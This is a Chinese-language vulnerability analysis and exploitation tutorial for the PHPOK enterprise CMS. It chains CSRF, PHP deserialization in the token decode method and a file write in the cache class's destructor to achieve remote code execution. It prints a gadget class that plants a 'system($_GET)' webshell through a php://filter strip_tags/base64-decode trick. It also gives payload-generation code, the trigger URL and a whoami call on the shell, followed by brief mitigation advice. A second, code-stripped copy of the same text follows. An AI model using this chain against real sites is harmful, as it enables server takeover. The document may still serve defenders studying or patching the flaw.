某OK最新版漏洞组合拳GETSHELL
字数 1398 2025-08-25 22:58:55

PHPOK企业站系统漏洞分析与利用教学文档

漏洞概述

PHPOK企业站系统存在一个严重的安全漏洞组合,通过CSRF+反序列化+文件写入的组合攻击可以实现远程代码执行(RCE)。该漏洞影响使用PHP+MYSQL开发的PHPOK企业站CMS系统。

漏洞组件分析

1. 恶意类文件 (framework/engine/cache.php)

class cache {
    public function save($id, $content = '') {
        if(!$id || $content === '' || !$this->status){
            return false;
        }
        $this->_time();
        $content = serialize($content);
        $file = $this->folder.$id.".php";
        file_put_contents($file,'<?php exit();?>'.$content);
        $this->_time();
        $this->_count();
        if($GLOBALS['app']->db){
            $this->key_list($id,$GLOBALS['app']->db->cache_index($id));
        }
        return true;
    }
    
    public function __destruct(){
        $this->save($this->key_id,$this->key_list);
        $this->expired();
    }
}

关键点分析

  1. __destruct魔术方法调用了save方法,且参数$this->key_id$this->key_list可控
  2. save方法使用file_put_contents写入文件,第一个参数$file完全可控
  3. 写入内容前拼接了<?php exit();?>,阻止后续PHP代码执行

2. 反序列化漏洞 (framework/libs/token.php)

class token_lib {
    public function decode($string) {
        if(!$this->keyid){
            return false;
        }
        $string = str_replace(' ','+',$string);
        $keyc = substr($string,0,$this->keyc_length);
        $string = base64_decode(substr($string,$this->keyc_length));
        $cryptkey = $this->keya.md5($this->keya.$keyc);
        $rs = $this->core($string,$cryptkey);
        $chkb = substr(md5(substr($rs,26).$this->keyb),0,16);
        if((substr($rs,0,10) - $this->time > 0) && substr($rs,10,16) == $chkb){
            $info = substr($rs,26);
            return unserialize($info);
        }
        return false;
    }
}

关键点分析

  1. decode方法对输入进行解密后调用了unserialize
  2. 解密过程依赖keyid值,该值可通过后台设置
  3. 可通过encode方法生成合法的加密数据

3. CSRF漏洞

后台修改api_code(即keyid)的功能点没有CSRF防护,可以通过构造恶意页面诱导管理员访问来修改此值。

漏洞利用链

  1. CSRF攻击:诱导管理员访问恶意页面,修改系统的api_code
  2. 构造恶意序列化数据:使用已知的api_code对恶意cache类进行序列化和加密
  3. 触发反序列化:通过调用解密接口触发反序列化
  4. 文件写入:利用file_put_contents和PHP过滤器绕过exit()限制写入Webshell

详细利用步骤

第一步:设置api_code

通过CSRF攻击修改系统api_code为已知值(如"123456")。

第二步:构造恶意序列化数据

class cache {
    protected $key_id;
    protected $key_list;
    protected $folder;
    
    public function __construct(){
        $this->key_id = 'naiquan';
        $this->key_list = 'a'.base64_encode('<?php system($_GET["shell"]);?>');
        $this->folder = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=';
    }
}

// 完整利用代码见原文提供的脚本

关键点

  1. 使用php://filter协议和过滤器组合绕过exit()限制
  2. string.strip_tags过滤器去除XML标签(包括<?php exit();?>
  3. convert.base64-decode过滤器解码后续的base64编码内容

第三步:生成Payload

运行提供的脚本生成加密后的Payload:

$token = new token();
$token->keyid('123456');
echo $token->encode(serialize(new cache()));

第四步:触发漏洞

访问解密接口触发反序列化:

http://phpok/api.php?c=index&f=phpok&token=[生成的Payload]

第五步:验证Webshell

成功执行后会在服务器上写入Webshell,可通过访问:

http://target/naiquan.php?shell=whoami

执行系统命令。

技术要点总结

  1. PHP反序列化漏洞:通过可控的unserialize触发恶意类的__destruct方法
  2. 文件写入绕过技巧
    • 使用php://filter协议
    • string.strip_tags去除PHP标签
    • convert.base64-decode解码base64编码的恶意代码
  3. CSRF利用:修改关键系统配置为攻击者已知值
  4. 加密/解密流程:理解系统的加密机制以构造合法Payload

防御建议

  1. 对关键后台操作添加CSRF防护
  2. 对反序列化操作进行严格限制,或使用JSON替代
  3. 对文件写入操作进行严格过滤,特别是协议处理
  4. 更新到最新版本或应用官方补丁
  5. api_code等关键配置使用强随机值

附录:完整利用脚本

// 参见原文提供的完整利用脚本

通过以上分析,我们可以全面理解该漏洞的成因、利用方式及防御方法。这种组合漏洞的危害性极高,需要系统管理员高度重视并及时修复。

PHPOK企业站系统漏洞分析与利用教学文档 漏洞概述 PHPOK企业站系统存在一个严重的安全漏洞组合,通过CSRF+反序列化+文件写入的组合攻击可以实现远程代码执行(RCE)。该漏洞影响使用PHP+MYSQL开发的PHPOK企业站CMS系统。 漏洞组件分析 1. 恶意类文件 (framework/engine/cache.php) 关键点分析 : __destruct 魔术方法调用了 save 方法,且参数 $this->key_id 和 $this->key_list 可控 save 方法使用 file_put_contents 写入文件,第一个参数 $file 完全可控 写入内容前拼接了 <?php exit();?> ,阻止后续PHP代码执行 2. 反序列化漏洞 (framework/libs/token.php) 关键点分析 : decode 方法对输入进行解密后调用了 unserialize 解密过程依赖 keyid 值,该值可通过后台设置 可通过 encode 方法生成合法的加密数据 3. CSRF漏洞 后台修改 api_code (即 keyid )的功能点没有CSRF防护,可以通过构造恶意页面诱导管理员访问来修改此值。 漏洞利用链 CSRF攻击 :诱导管理员访问恶意页面,修改系统的 api_code 构造恶意序列化数据 :使用已知的 api_code 对恶意 cache 类进行序列化和加密 触发反序列化 :通过调用解密接口触发反序列化 文件写入 :利用 file_put_contents 和PHP过滤器绕过 exit() 限制写入Webshell 详细利用步骤 第一步:设置api_ code 通过CSRF攻击修改系统 api_code 为已知值(如"123456")。 第二步:构造恶意序列化数据 关键点 : 使用 php://filter 协议和过滤器组合绕过 exit() 限制 string.strip_tags 过滤器去除XML标签(包括 <?php exit();?> ) convert.base64-decode 过滤器解码后续的base64编码内容 第三步:生成Payload 运行提供的脚本生成加密后的Payload: 第四步:触发漏洞 访问解密接口触发反序列化: 第五步:验证Webshell 成功执行后会在服务器上写入Webshell,可通过访问: 执行系统命令。 技术要点总结 PHP反序列化漏洞 :通过可控的 unserialize 触发恶意类的 __destruct 方法 文件写入绕过技巧 : 使用 php://filter 协议 string.strip_tags 去除PHP标签 convert.base64-decode 解码base64编码的恶意代码 CSRF利用 :修改关键系统配置为攻击者已知值 加密/解密流程 :理解系统的加密机制以构造合法Payload 防御建议 对关键后台操作添加CSRF防护 对反序列化操作进行严格限制,或使用JSON替代 对文件写入操作进行严格过滤,特别是协议处理 更新到最新版本或应用官方补丁 对 api_code 等关键配置使用强随机值 附录:完整利用脚本 通过以上分析,我们可以全面理解该漏洞的成因、利用方式及防御方法。这种组合漏洞的危害性极高,需要系统管理员高度重视并及时修复。